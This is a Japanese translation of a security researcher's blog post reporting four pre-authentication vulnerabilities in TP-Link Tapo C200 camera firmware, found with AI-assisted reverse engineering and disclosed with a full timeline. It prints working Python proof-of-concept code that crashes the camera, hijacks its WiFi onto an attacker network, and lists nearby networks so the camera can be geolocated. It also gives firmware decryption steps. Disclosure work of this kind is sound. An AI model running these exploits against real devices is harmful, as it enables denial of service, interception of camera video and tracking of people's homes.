
2025/12/20 3:19
TP-Link Tapo C200: Hardcoded Keys, Buffer Overflows and Privacy
RSS: https://news.ycombinator.com/rss
要約▶
Japanese Translation:
著者は、TP‑Link Tapo C200 カメラのファームウェアバージョン 1.4.2 Build 250313 Rel.40499n(ハードウェアリビジョン 3)に対して AI 支援逆コンパイルを実施しました。
aws s3 ls を使って認証不要な S3 バケット (download.tplinkcloud.com) を一覧化し、オープンソースの tp-link-decrypt ツールで TP‑Link GPL コードから RSA キーを抽出してファームウェアイメージを復号しました。Ghidra、GhidraMCP、Cline、Anthropic の Opus/Sonnet 4、および Grok を用いた解析により、約 25,000 台以上の露出デバイスに影響する 4 つの事前認証バグが判明しました。
- ONVIF SOAP XML パーサ がポート 2020 (
) で >100k 要素を解析するときにメモリオーバーフローします。soap_parse_and_validate_request - HTTPS Content‑Length 整数オーバーフロー がポート 443 (
に境界チェックがない) でatoi(value)
を受信したときに発生し、クラッシュを引き起こします。Content-Length: 4294967295 - 認証不要の WiFi 再構成 が
エンドポイント(ポート 443)経由で可能であり、リモート WiFi ハイジャックおよび DoS を許可します。connectAp - 認証不要の
エンドポイント が SSID、BSSID、および信号強度を公開し、攻撃者が Apple の BSSID‑to‑GPS API を使ってカメラ位置を三角測量できるようにします。scanApList
著者は Arcadia 上でプロセスをライブ配信し、PoC コードスニペット付きの洗練されたレポートを書きました。責任ある開示は TP‑Link の 90+30 日タイムラインに従い実施されました:報告は 2025 年 7 月 22 日送信、同日確認済み;TP‑Link は 2025 年 9 月 27 日までレビューを続け、11 月末までにパッチを提供すると約束しました(遅延)。12 月 1 日と 4 日のフォローアップでパッチは翌週へ延期されました。公開開示は 2025 年 12 月 19 日に行われ、最初の報告から 150 日後でした。
これらの発見は、Tapo C200 ユーザーに対してデバイス不安定性、リモート WiFi 乗っ取り、Denial‑of‑Service リスク、およびプライバシー漏洩(位置追跡)を露呈し、TP‑Link の遅延パッチ対応と CVE 処理慣行を浮き彫りにするとともに、不安全なファームウェア配布に関するスマートホームの広範なセキュリティ懸念を強調しています。
本文
こんにちは、皆さん。今年の最後の投稿へようこそ!
リバースエンジニアリングを始める方法を尋ねられるときは、いつも同じアドバイスをします:見つけた中で最も安いIPカメラを買うことです。これらのデバイスは自給自足型の小さなエコシステムで、ファームウェアを抽出でき、ネットワークプロトコルをスニッフィングでき、モバイルアプリを逆コンパイルできます。興味深いものが見つかる可能性があります。最悪の場合でも組み込みシステムとアセンブリについて多く学べますし、最高にうまくいけばジューシーな脆弱性を発見し、エクスプロイト方法も学べるかもしれません!
私は自分でTP‑Link Tapo C200カメラを数台所有しています。価格は安価(イタリアでは20ユーロ未満)、驚くほど安定していて、本当に好きです――ただ機能するだけです。ある週末、楽しく自分のアドバイスを試すことにしました。Tapo C200はしばらく前から存在し、過去数年でいくつかのCVEが発見・パッチされていますので、新しいファームウェアにはあまり期待していませんでした。しかし、この機会にAI支援リバースエンジニアリングを行い、まだ何かが見つかるか確認したかっただけです。
私はArcadiaでライブ中継でプロセス全体を書き留めました―思考過程、失敗点、うまくいったAIプロンプトとそうでなかったもの。スクリーンショットやクラッシュ動画付きの生データが欲しい方はぜひご覧ください。
この投稿はその旅を整理したもので、AIがある今、ファームウェア解析にどのように取り組むかを示しています。特定箇所では手作業でできることやもっと時間をかけて推論できることをAIに任せて怠慢です。ただし、私は一般的に怠惰ですが、これはセキュリティ研究とリバースエンジニアリングにおいてAIがどれほど有効であるかを統合・文書化する実験でもあります―特に経験の浅い研究者にとってです。
怠けて始めた週末プロジェクトは、インターネット上で直接公開されている約25,000台のデバイスに影響する数つのセキュリティ脆弱性を発見しました。
ファームウェア取得
ツール
- JD‑GUI(Androidアプリ逆コンパイル用)
- AWS CLI(ファームウェアイメージダウンロード)
- binwalk(ファームウェア検査)
- Grok(過去のリサーチをAIで素早く確認)
最初にすべきはファームウェアバイナリ取得です。今回は非常に簡単でした!Tapo Androidアプリを基本的に逆コンパイルした後、TP‑Linkが認証不要のオープンS3バケットに全ファームウェアリポジトリをホストしていることが判明しました。すべてのデバイスで過去に公開された各バージョンを一覧・ダウンロードできます:
aws s3 ls s3://download.tplinkcloud.com/ --no-sign-request --recursive
出力は膨大です――TP‑Link製ルーター、カメラ、スマートプラグなどすべてのデバイスファームウェア画像にアクセスできます。リバースエンジニアにとってのキャンディストアです。
私はC200(ハードウェアリビジョン3)用にバージョン 1.4.2 Build 250313 Rel.40499nを取得しました。ファイル名は
Tapo_C200v3_en_1.4.2_Build_250313_Rel.40499n_up_boot-signed_1747894968535.binで、探検を開始しました。binwalkで最初にフォーマット判別を試みましたが失敗し、暗号化や難読化の可能性が示唆されました。
ここからAIを使い始めます。Grokを使ってこれらカメラ用ファームウェアを解読する方法を調査しました。他のハッカーが以前に取り組んでいたことを知り、数百ページにわたる検索をAIに委ねました。
ファームウェア暗号解除
ツール
- tp‑link‑decrypt(ファームウェアイメージ解読)
- binwalk(ファームウェア検査)
Grokのおかげで、
tp-link-decryptツールとTP‑Linkが同じ方法で全ファームウェア画像を暗号化しているという事実により、現在ファームウェアを解読できます。このツールはTP‑LinkのGPLコードリリースからRSAキーを抽出します。彼らはオープンソース義務としてデクリプションキーを公開しています。
@watchfulip の詳細な TP‑Link ファームウェアイベント調査と @tangrs が関連バイナリが GPL コードダンプで公開されていること、そしてそこからキーを抽出する方法を見つけた貢献に感謝します。
git clone https://github.com/robbins/tp-link-decrypt cd tp-link-decrypt ./preinstall.sh ./extract_keys.sh make bin/tp-link-decrypt Tapo_C200_firmware.bin
解読後、ファームウェアは比較的標準的な構造を示しました:ブートローダー、カーネル、SquashFS ルートファイルシステム。
binwalk -e Tapo_C200_v3_1.4.2_decrypted.bin
バグ探索
ツール
- Ghidra(MIPSバイナリ逆コンパイル・理解)
- GhidraMCP(AIが実行中の Ghidra インスタンスに接続しサポート)
- Cline(ファイルシステムを探索して興味深いコンポーネントを見つける AI アシスト)
- Anthropic の Opus と Sonnet 4
抽出後、AIと Cline を使ってファイルシステムを探索し、発見プロトコル、カメラ Web API、ビデオストリーム等を扱うコンポーネントを特定しました――すべて Android アプリ逆コンパイル時に既に発見したものです。
Claude Opus 4:「これはIPCamのファームウェアで、WebAPIを提供するWebアプリがどこにあるか探しています」
Ghidra を起動し
tp_manage バイナリをざっと見ると最初の興味深い点が見えてきました:
この秘密鍵はブート時に生成されません。C500 の CVE‑2025‑1099 と同様、C200 は数つの API 用 SSL を提供する秘密鍵をファームウェアに埋め込んでいます。同じネットワーク上にいる場合、MitM して HTTPS トラフィックを解読でき、ハードウェアに触れることなく実現できます。人々の家を監視するセキュリティカメラでは…理想的とは言えません。
他の興味深いバイナリも読み込み、Ghidra で AI を使って主要機能と攻撃者がエントリポイントとして利用できる場所を素早く把握しました。AIに関数とその相互作用を説明させることは、暗号化/難読化ルーチンやネットワークプロトコルハンドラを理解するのに非常に有効です。これにより、低レベルコード:
FUN_0042eb7c(undefined2 *param_1, undefined4 param_2, int param_3)
から AI が提供できる高レベル理解へと移行できます。
さらに効果的な手法として、AI に関心のある関数を解析させ、文脈に基づいて変数・パラメータ名を意味のあるものにリネームさせます。その後、呼び出される関数も同様に再帰的に処理します。数回のイテレーションで
FUN_0042eb7c が handleConnectAp(connection *conn, int flags, json *params) に変わり、逆コンパイルコードが元のソースに近い形で読めるようになります。
この反復的洗練アプローチは、人間と AI の協働例として素晴らしく、単独では効率が低いでしょう。これを使って HTTP ハンドラや発見プロトコルなどの大部分をマッピングしました。以下に私の結論を示します。詳細なプロセスについては元の Discord スレッドをご覧ください。
付記として、コード実行可能性(エクスプロイト)についてはあまり調査しませんでした――主に MIPS が不慣れであり、意図もありませんでした。ただし、物理アクセスを得て
がファームウェアに存在するため、比較的容易にシェルを取得できます。/bin/gdbserver
バグ 1:認証前 ONVIF SOAP XML パーサー メモリオーバーフロー
Tapo C200 は標準のビデオ管理システムと互換性を持つため、ポート2020で
/bin/main サーバーが ONVIF サービスを公開しています。問題は SOAP XML リクエストを解析する方法にあります。
XML 要素を処理するとき、パーサー(
soap_parse_and_validate_request at 0x0045ae8c)は要素数や総メモリ割り当ての境界チェックなしで ds_parse を呼び出します。十分な XML 要素を送信すれば、割り当てられたメモリがオーバーフローします。
PoC
import urllib.request, sys TARGET = sys.argv[1] ONVIF_PORT = 2020 params = ''.join([f'<SimpleItem Name="Param{i}" Value="{"X" * 100}"/>' for i in range(100000)]) body = f'''<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"> <soap:Body> <CreateRules xmlns="http://www.onvif.org/ver20/analytics/wsdl"> <ConfigurationToken>test</ConfigurationToken> <Rule> <Name>TestRule</Name> <Type>tt:CellMotionDetector</Type> <Parameters>{params}</Parameters> </Rule> </CreateRules> </soap:Body> </soap:Envelope>''' req = urllib.request.Request(f"http://{TARGET}:{ONVIF_PORT}/onvif/service", data=body.encode('utf-8')) req.add_header('Content-Type', 'application/soap+xml') urllib.request.urlopen(req, timeout=30)
送信するとカメラがクラッシュし、復旧には電源再投入が必要です。
バグ 2:認証前 HTTPS Content‑Length 整数オーバーフロー
ポート443で動作する HTTPS サーバールーチンは
Content-Length ヘッダー解析に典型的な整数オーバーフローを抱えています。脆弱関数(0x004bd054)は次のようになっています:
iVar1 = atoi(value); param_1->content_length = iVar1;
境界チェックや検証がなく、単純に
atoi() をユーザー入力に適用します。32 ビットシステム上で atoi("4294967295") は整数オーバーフローを起こし、未定義動作になります。このケースではカメラがクラッシュします。
PoC
import socket, ssl, sys TARGET = sys.argv[1] request = f"""POST / HTTP/1.1\rHost: {TARGET}\rContent-Length: 4294967295\rContent-Type: application/octet-stream\rConnection: close\r\rAAAA""" context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ssl_sock = context.wrap_socket(sock, server_hostname=TARGET) ssl_sock.connect((TARGET, 443)) ssl_sock.send(request.encode())
バグ 3:認証前 WiFi ハイジャック
カメラは
connectAp という API エンドポイントを公開しており、初期設定時に WiFi を構成するために使用されます。問題は? 認証なしでアクセス可能です――カメラが完全にセットアップされネットワークに接続された後も同様です。
脆弱ハンドラー(
0x0042eb7c)はリクエストを処理する際に認証チェックを行いません:
void connectApHandler(undefined2 *param_1, undefined4 param_2, int json_params){ jso_add_string(iVar3,"method","connectAp"); jso_obj_add(iVar3,"params",iVar2); iVar1 = ds_tapo_handle(param_1); }
エクスプロイト
import urllib.request, ssl, sys TARGET = sys.argv[1] payload = '{"method":"connectAp","params":{"onboarding":{"connect":{"ssid":"EVIL_NETWORK","bssid":"11:11:11:11:11:11","auth":3,"encryption":2,"rssi":3,"password":"hacked","pwd_encrypted":0}}}}' context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8')) req.add_header('Content-Type', 'application/json') urllib.request.urlopen(req, context=context, timeout=10)
これによりリモート攻撃者は:
- カメラを正規ネットワークから切断(DoS)
- WiFi 範囲内なら攻撃者が制御するネットワークへ強制接続(MitM)、一度悪意あるネットワークに入ると全ビデオトラフィックを傍受可能(HTTPS の秘密鍵はすべてのデバイスで共有されているため)
- WiFi パスワードが変更されても永続的アクセス維持
バグ 4:認証前近隣 WiFi ネットワークスキャン
バグ 3 に関連して、
scanApList メソッドも認証なしで利用可能です――デバイスがオンボーディングモードにない場合でも。エンドポイントはカメラが検知できるすべての WiFi ネットワークをリストします:
import urllib.request, ssl, sys TARGET = sys.argv[1] payload = '{"method":"scanApList","params":{}}' context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE req = urllib.request.Request(f"https://{TARGET}/", data=payload.encode('utf-8')) req.add_header('Content-Type', 'application/json') response = urllib.request.urlopen(req, context=context, timeout=10) print(response.read().decode())
インターネット上で公開されているデバイスをテストした結果、攻撃者はリモートからカメラ周辺の WiFi ネットワークを列挙できることが分かりました。取得情報:
- SSID
- BSSID(アクセスポイント MAC アドレス)
- 信号強度(トライアンギュレーションに有用)
- セキュリティ設定
apple_bssid_locator などのツールは、Apple の位置情報サービス API に BSSID を問い合わせると正確な GPS 座標を返します。これにより攻撃者は:
- ZoomEye, Shodan 等で露出した Tapo カメラを発見
で近隣 WiFi の BSSID を取得scanApList- Apple の位置データベースへ問い合わせ
- 数メートル以内のカメラ(および監視対象の家・事業所)の物理位置を特定
リモート攻撃者は単に周辺 WiFi ネットワークが存在するかを確認できるだけでなく、正確な場所を地図上で把握できます。
開示
私は業界標準の 90 + 30 日責任ある開示プロセスに従いました。以下はタイムラインです:
| 日付 | イベント |
|---|---|
| 22 Jul 2025 | TP‑Link のセキュリティチーム(security@tp-link.com)へ完全な技術詳細、PoC エクスプロイトと動画を送信。ガイドラインに従ってまとめました。 |
| 22 Jul 2025 | 確認応答受領。 |
| 22 Aug 2025 | TP‑Link が報告書のレビュー中である旨確認。 |
| 27 Sep 2025 | TP‑Link から回答があり、パッチ適用タイムラインを 2025 年 11 月末に設定。 |
| Dec 2025 | 1 Dec と 4 Dec のフォローアップ後も応答なし。パッチは翌週へ延期。 |
| 19 Dec 2025 | 150 日経過し、公開開示を実施。 |
90 + 30 の期間はすでに終了していますので、この書き込みを公開することにしました。
利益相反
2025 年 4 月 25 日時点で TP‑Link は CVE ナンバリングオーソリティ(CNA)です。これは自社製品の脆弱性に対して CVE ID を割り当てる権限を持つことを意味します――直接報告されたものについては。彼らは責任ある開示を積極的に奨励し、膨大な脆弱性レポートパイプラインを掌握しています。
セキュリティコミットメントページで TP‑Link は競合他社(Cisco, Netgear, D‑Link 等)と比較した CVE 数のチャートを公開し、「90 日以内にパッチ」を掲げてマーケティングしています。ベンダーが自身を CNA としている一方、CVE カウントをマーケティング指標として使用する構造上の利益相反があります。